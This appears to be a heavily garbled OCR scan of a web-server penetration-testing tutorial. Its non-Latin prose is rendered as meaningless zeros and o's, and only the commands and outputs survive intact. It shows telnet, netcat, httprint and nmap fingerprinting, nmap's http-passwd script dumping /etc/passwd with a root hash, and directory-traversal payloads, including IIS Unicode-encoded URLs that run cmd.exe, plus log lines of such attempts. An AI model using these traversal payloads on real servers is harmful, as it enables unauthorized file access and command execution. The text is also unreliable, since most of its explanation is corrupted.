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W 443: SSL (HTTPS)
W 8005: Apache Tomcat
Bl 8080: Squid

B 9090: Sun Web Server Admin
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B IIS Web Server

B Apache Web Server

B Nginx Web Server

B Oracle iPlanet Web Server (OiWS)
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000 0000 D00 0000 0000000 000000 0o bo0oo0o 0ooo Telnet 00000 OOODOOOCD OO O0O0OCOC 000000
:(000 000000 00 00000 0 00000 0000 00 00 0000 Cooooo

C:\ >telnet www.knowthetrade.com 80

HTTP/1.1 400 Bad Request

Server: Microsoft-I1IS/7.5

Date: Mon, 27 May 2015 06:08:17 GMT
Content-Type: text/html

Content-Length: 87
<html><head><title>Error</title></head><body>
The parameter is incorrect. </body>

</html>

Connection to host lost.

Netcat [l .00000 00000000 00DO00O 0000 00000 0D000O0C Netcat [1ID Serve [J HTTPRecon [] DMitry
;00000 00 00 O0O000o booo Co 0 Opoo ddooo 0o 0do Oooo ddooo 0o 040 Oood

:0000 00000 header-txt 00000 0000 0000 OO -1 00000

GET HEADER /1.0


http://www.knowthetrade.com

[carriage return]
[carriage return]

:0000 0000 000 0000000000 00 00 Neteat 00000 2 00000

nc -vv webserver 80 < header.txt

;0000 000000 000 OO0 LOOD0o 00 Loooo -3 0onoa

HTTP/1.1 400 Bad Request

Server: Microsoft-11S/7.5

Date: Mon, 27 May 2015 04:12:01 GMT
Content-Type: text/html

Content-Length: 91
<html><head><title>Error</title></head><body>
The parameter is incorrect. </body>

</html>

Connection to host lost.
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nmap -sC
nmap --script

(0 000000 0000 C0 000 seript- 00000 00 0000 00 000000 00 000000000 00000 00000 sC- 00000

00000 000000 00 LO0000D L0000 00 00 DO00000 0000 0000 Seript- 00000 -0000 D000 00 0000 0000000
Nmap (000 00 00 000000 0000 0o0000000 00000 do00000 0000 0000 000 0000 0000 00 0000 Leoo
:0000 0000 00000 0oo bo Lobo fob 0o doodo to <0000 0000 doddftooo oo

B nmap sV -O -p IP_address
B nmap -sV --script=http-enum IP_address
W nmap IP address -p 80 --script = http-frontpage-login

W nmap --script http-passwd -- script-args http-passwd.root =/ IP_address

0000 000 DO000 000000 dootoo 0o foboooooo <0000 Doooo dodooo booooo o 00 bt 0ooo Looooo
000 00 000000 0000000 boot.ini [ ete/passwd/ OO0000 0000 00 COOO0D 0000 COO0OOOO0C00 C0 DO0O00
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nmap --script http-passwd --script-args http-passwd.root=/test/



192.168.123.180

80/tcp open http

| http-passwd: Directory traversal found.

| Payload: "../../..[..[..[..]..]..]..]..letc/passwd"

| Printing first 250 bytes:

| root:$1$$icts.JXC4iLDkaBIIA7fz.:0:0::/:/bin/sh
| sshd:*:65531:65532::/:/bin/false

| tftp:*:65533:65535::/:/bin/false
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[https://github.com/sensepost
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Nikto-like functionality W
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:000 000 000 00 Attprint (0000 00000 00000 QOOCOOC0 COO0 QOO0 © O0hot0ooo 0onooo Cooo Coo ooooo

httprint 192.168.123.38
Finger Printing on http://192.168.123.38:80/

Finger Printing Completed on http://192.168.123.38:80/

Host: 192.168.123.38

Derived Signature:

Apache/2.4.25
9E431BC86ED3C295811C9DC5811CIDC5050C5D32505FCFE84276E4BB811C9DCS
0D6645B5821C9DC5811CIDC5CD37187C11CCC7D7811CIDC5811CIDCSH8A91CF57
FAAA535B6ED3C395FCCC535B811CI9DC5E2CE6927050C5D336ED3C3959E431B
C86ED3C295F2CE69262A200B4C6ED3C2956ED3C2956ED3C2956ED3C285E1CE
6923E2CE69236FD3C295811C9BC5E2CE6927E2CE6932

Banner Reported: Apache/2.4.25

Banner Deduced: Apache/2.4.x


http://192.168.123.38:80/
http://192.168.123.38:80/

Score: 140

Confidence : 93.34
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W http://www.securityfocus.com
B https://www.packetstormsecurity.org/
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DoS / DDoS 0000

00000 000 000000 Odoo Cecoo
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(Directory Traversal) (0000 000000 0OOO

00000 000 000to
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Open DNS Resolver
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000 0000 00000 0 0000 0000 0000 0000 DNS 00000000 O0CC0 0000 booooo -0o0o 0000oCecoo
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(Directory Traversal) 0000 000000 0000
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U0000 00000 00000 0000 Uo0oo o 0o Oddodo0do Do0doo 2odo0oo do 0o0d 000 0o ooo00o0o 0000 oo
:0000 000 LO00 0o
http://www.hackthestack..com.com.br/get-files.jsp?file=vulnerabilityreport.pdf
U000 00 0000 00 fo0o0000 oo fo0oo0o Oooo oo do0o0o 00000 000 Odoo 2o0o 0o Ooooo 0000 200000 0060
000 0000 00000 0ooo oo.

http://www.hackthestack.com.br/get-files?file=../../../../some dir/some file
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000 0000000 D00 0000 00 0000 00000000 0000000 00 0000000000 0o 000000 -00000a0 m

%c1%1c, %c0%af, %cl%pc
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(00 000000 00 00 000 0000000 000 L6000 0oo0d00o0 dooooo foooo 0000 oooo 00 0000d oo

0000 00000 00 00 0000000 0o 000000 0000 000000 do00000 doooo O0ffR0000 00000 0o 000f0CCoo
(00 0000 0000000000 0 0000 000000 00 0000 0000 0o 0ooo0 0hooooo toodo 4o o /... 0o 0000 0oo0o0
000 0000 0000 0000 0000 00000 000 00 00000000 000000 00000 00 00 000000 <000 0000 00 cmd.exe
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http://web_server//scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
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0.0.0.0 - - [21/0ct/2014:01:14:03 +0000]

"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/0ct/2014:01:14:03 +0000]

"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/0ct/2014:01:14:03 +0000]

"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/0ct/2014:01:14:04 +0000]

"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/0ct/2014:01:14:04 +0000]

"GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/0ct/2014:01:14:04 +0000]

"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
0.0.0.0 - - [21/0ct/2014:01:14:04 +0000] "GET /scripts/..%25%35%63../
winnt/system32/cmd.exe?/c+dir

0.0.0.0 - - [21/Oct/2014:01:14:04 +0000]



"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
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nmap --script http-passwd -- script-args http-passwd.root =/ IP_address
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